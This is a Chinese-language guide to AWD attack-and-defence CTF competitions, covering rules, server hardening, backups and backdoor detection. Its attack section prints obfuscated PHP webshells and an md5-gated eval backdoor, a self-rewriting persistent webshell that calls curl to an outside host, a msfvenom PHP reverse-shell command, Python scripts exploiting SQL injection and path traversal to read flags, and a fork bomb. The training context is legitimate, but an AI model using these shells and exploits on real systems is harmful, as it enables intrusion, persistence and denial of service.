Bootstrap

AWD的那些事

目录

介绍

比赛形式与规则

比赛网络环境

AWD考——内容:

加固

信息收集

漏洞检查

加强防护

Awd中pwn防护

使用python打补丁

编写伪程序替换有漏洞的程序

 使用赋值破坏逻辑结构

 编写判断语句

最基本打补丁

攻击

团队协作

常见的技巧方式

总结

开始后的时间需要完成的内容:

注意事项


介绍

        AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。 AWD全称 Attack With Defence 总之就是你既是 hacker 又是 manager ;目标就是拿到其他战队靶机的shell 即可,通过shell 访问 flag服务器,得到flag后提交得分;

  • 攻击-发现漏洞
  • 防御-修复漏洞

比赛形式与规则

  • 服务器主要是包括WEB靶机和PWN靶机,服务器基本上为linux系统在系统某处存在flag或者执行某条命令获取flag
  • flag 定时刷新,每隔一段时间会生成新的flag,攻击者可以提交新的flag 来得分,但不可重复提交相同的flag
  • 每队均有一定的初始防御积分,被其他队伍攻击后,确认存在漏洞未加固成功,扣除一定的防御积分
  • 获得其他队伍的flag进行提交可以获得其他队伍扣除的积分和竞赛平台的奖励积分,称为攻击分
  • 竞赛平台会对每个队伍的服务器进行检查,服务器宕机或者服务器异常将会扣除本轮所有分数
  • 竞赛期间,参赛队伍可以申请重置靶机,每一台靶机申请重置一次扣除一定的分数
  • 计分规则一般分为防御分+攻击分=总分,分数相同时防御队伍高的分数优先
  • 竞赛开始通常队伍有一定时间可以对自己的服务器进行加固维护等操作和攻击的相关准备工作,在此时间段内各个队伍网络相互隔离
  • 每个队伍对服务器维护的账户一般为低权限账户
  • 为保证比赛顺利进行,禁止对竞赛平台和现场网络设备发起恶意攻击,以及对参赛队伍的客户机发起攻击
  • 参赛队员如有问题可举手示意裁判组

比赛网络环境

  • 竞赛现场的基本网络环境为局域网,无法访问外网。比赛现场可能告知其他队伍服务器

AWD考——内容:

  1. 出题人自己写的CMS,附加了一些常见的WEB漏洞
  2. 常见或者不常见的CMS
  3. 一些框架漏洞,比如thinkphp、struts2这种

加固

信息收集

  • ipscan快速扫描C段
  • 如果有B段,nmap存活探测
  • Netstat查看3台靶机所有端口
  • 用WebServerScanner扫Web的Banner(也可以快速发现存活主机)
  • 常见协议/服务密码收集,DB/配置里面
  • 重点:端口(服务)+站点位置

漏洞检查

  • 上传漏洞,123456789等等
  • SVN git源码泄露(直接删除)
  • Struts,jboss等中间件漏洞
  • CMS漏洞,参考exp-lists
  • 反序列化,badbash,heartbleed
  • 中间件站点配置文件:

              apache:  conf目录下httpd.conf,或/etc/httpd/conf/httpd.conf

              Tomcat:   conf目录下server.xml ,tomcat-users.xml 

              Mysql:    /etc/my.cnf

              站点配置文件conn.php   inc.php  config.php

              利用 .htaccess进行加固

  • exp-lists站点配置文件:

             康盛 UCenter /data/config.inc.php

             Discuz! /config.inc.php

             UCH /config.php

             帝国CMS /e/class/config.php

             ECShop /data/config.php

             ShopEX /config/config.php

             WordPress /wp-config.php

             Joomla! /configuration.php

             HDWiki /config.php

             PHPwind 8.0 /data/sql_config.php

             织梦Dede /data/config.cache.inc.php

             phpcms /include/config.inc.php

加强防护

⚫ 原则:现实怎么加固,比赛就怎么加固

      ⚫ 备份!备份!cd /var/www/html & tar cvf www.tar *

      ⚫ mysqldump -u root -p --databases test > /tmp/db.sql

      ⚫ 站点目录全部只读,注意子目录(注意属主)

      ⚫ chmod –R 644 www

      ⚫ 后台,修改if判断,破坏登录逻辑

      ⚫ 取消upload等目录的脚本运行权限

      ⚫ Monitor脚本监视文件写入操作

      ⚫ 查看会话:pkill -kill -t pts/5

⚫ 针对CMS手工修复漏洞,修改代码

  • 上软waf(三种包含)
  • 代码审计(seay/D盾/rips等)-->查找后门

⚫ 给自己留不死马-->夺回权限

⚫ 权限太低,系统本身、数据库、中间件配置无法修改, 补丁也没法儿打

⚫ 两个环境,三人分工同步进行,并交换检查

⚫ 以下情况直接举手:(平台漏洞)

  •  看passwd有无uid=0的后门账户
  •  有没有SUID后门?(find / -perm -2000 -o -perm -4000)

⚫ 常见日志地址

/var/ log/apache2/

/usr/ local/apache2/logs

/usr/nginx/logs/

⚫ 备份指定的多个数据库

mysqldump -u root -p --databases choose test > /tmp/db.sql

# 恢复备份,在mysql终端下执行:

# 命令格式:source FILE_PATH

source ~/db.sql

# 曾经遇到一个备份有问题可以执行下面

mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql

Awd中pwn防护

使用python打补丁

编写伪程序替换有漏洞的程序

  •  使用赋值破坏逻辑结构

  •  编写判断语句

最基本打补丁

       gcc hook.c -m32 -o hook.so -fPIC -shared -ldl \ -D_GNU_SOURCE gcc - m32 -o main main.c

 

攻击

团队协作

    ⚫ 队长:分派任务

核心目标:加固好两台主机

不被扣分就赢了,关紧门窗 严防死守 

一定要守住,每30分钟刷新flag

收集信息,发现漏洞/弱口令(webshell,密码md5 加密),快速拿flag 

如果分值相同,先提交flag者排名在先

Web漏洞分析

    ⚫ 主攻手 

Web漏洞,按自己整理的checklist快速排查

下载所有源码/配置文件,UE批量搜索敏感函数、关键 字段,Seay源代码审计系统

            • 变异马检测:

                 1.按文件时间排序,里头有一串乱七八糟的,赶紧删了

                 2.安全狗(最新),360

记录漏洞地址、利用方法、加固方法

编写批量攻击的脚本,29分30秒的时候就开刷

权限维持:不死马

       ⚫ 副攻手/加固

如有多个Web应用/端口,分工!

Web加固

中间件加固,tomcat/apache等

方法/exp代码随时查笔记

常见的技巧方式

主机发现

             ⚫ # 使用httpscan脚本 

             ⚫ # masscan :masscan -p 80 172.16.0.0/24

             ⚫ # nmap :nmap –sn 172.16.0.0/24

             ⚫ Netdiscower –r

干掉不死马的方式 

             (1).ps auxww|grep shell.php 找到pid后杀掉进程 就可以,你删掉脚本是起不了作用的,因为php执行 的时候已经把脚本读进去解释成opcode运行了

             (2).重启php等web服务

             (3).用一个ignore_user_abort(true)脚本,一直竞争 写入(断断续续)。usleep要低于对方不死马设置 的值。

             (4).创建一个和不死马生成的马一样名字的文件夹

 修改curl命令

⚫ alias curl='echo fuckoff' #权限要求较低

⚫ chmod -x curl #权限要求较高

⚫ /usr/bin/curl路径

简单的查找后门

⚫ find . -name '*.php' | xargs grep -n 'eval('
⚫ find . -name '*.php' | xargs grep -n 'assert('
⚫ find . -name '*.php' | xargs grep -n 'system('

常用的特殊webshell 


控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻
易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
简单举例:
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
连接方式:php?2=assert密码是1。
<?php
$sF= 
"PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[
6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${
strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s
22)){eval($s21($s22));}
?>
配置填:n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)
常用得一句话
<?php
$a=chr( 96^5);
$b=chr( 57^79);
$c=chr( 15^110);
$d=chr( 58^86);
$e= '($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置为:?b=))99(rhC(tseuqeR+lave
权限维持
<?php
set_time_limit( 0);
ignore_user_abort( true);
$file = '.conifg.php’;
$shell = "<?php echo system("curl 10.0.0.2"); ?>";
while(true){
file_put_contents($file, $shell);
system( 'chmod 777 .demo.php’);
unsleep( 50);
}
?>
.config.php前面使用一个点,能很好的隐藏文件
要结束这个进程,除了最暴力的重启apache服务之外,更为优雅
的如下:
<?php
while (1) {
$pid= 1234;
@unlink( '.config.php’);
exec( 'kill -9 $pid');
}
?>
先查看进程,查看对应的pid,再执行即可
会放置一个md5马,比如
<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a82
5253')
@ eval($_POST['cmd']);
?>
像rootrain这种就是。那就是利用
header,最后综合起来就是
<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flagxxxxxxxxxxxxxxxxxxxxxx';
header( "flag:$test");
}
?>
放进config.php效果最好,因为一般很少人去看这个
反弹shell
之后本地执行nc -lp
9999即可
msfvenom -p 
php/meterpreter_rever
se_tcp
LHOST=192.168.232.17
4 LPORT=4444 -f raw > 
shell.php

获取flag的方式
批量传webshell(shell的内容可以写为权限维持部分的那个脚本),
之后结合批量访问

       有些SQL注入漏洞可以通过sqlmap利用—sql-shell 执行select load_file('/flag')来获取flag。最好直接利用脚本来获得。 

def sqli(host):
        global sess_admin
        data = { "section_name":"asd","admin_name":"'||(SELECT 
        updatexml(1,concat(0x7e,(select 
load_file('/flag')),0x7e),1))||'","announcement":"asd"}
          r = 
sess_admin.post( 'http://%s/index.php/section/add'%host,data=data)
        flags = re.findall( r'~(.+?)~',r.content)
        if flags:
            return flags[0]
        else:
            return "error pwn!"
文件包含漏洞,直接可以通过../../../../../../flag的方式获取
def include(host):
      r = requests.get(url= 
"http://%s/?t=../../../../../../flag"%host)
      flags = re.findall(r '^(.+?)<',r.content)
      if flags:
          return flags[0]
      else:
          return "error pwn!”
批量修改ssh密码的脚本(猥琐流直接干掉几个对手)

如果有发现有预留后门,要立即使用脚本进行获取flag

Fork炸弹
# 参考: https://linux.cn/article-5685-1-rss.html
:(){:|:&};:

总结

开始后的时间需要完成的内容:

⚫ 列出所有端口、服务 (ps netstat等)
⚫ 确认每一项漏洞,攻击/加固方法(基本两三个漏洞)
⚫ 记下3台主机每个flag的位置/权限
⚫ 备份下所有文件,包括js img,加固替换
⚫ 留下自己的shell/后门,刷flag
      index 日志 图片
⚫ 分工加固3台主机!
⚫ 交叉检查确认漏洞不再能够被利用
⚫ 写漏洞批量利用的exp,29分的时候就开刷

注意事项

⚫ 每个队伍2台靶机,环境一样但登录密码不同,比赛开 始后别忘了改密码
⚫ Flag每15分钟刷新,别忘了提交刷分!
⚫ 如果服务/端口/页面down掉,隔段时间才检测一次
⚫ 加固就别留下新漏洞,shell密码别太弱
⚫ 所有中间件/Web加固实验,提前动手做一遍

         在水平相差巨大的赛场上,会形成绝杀全场的场面,但是在选手水平相近的赛场上,攻守博弈将十分激烈。

;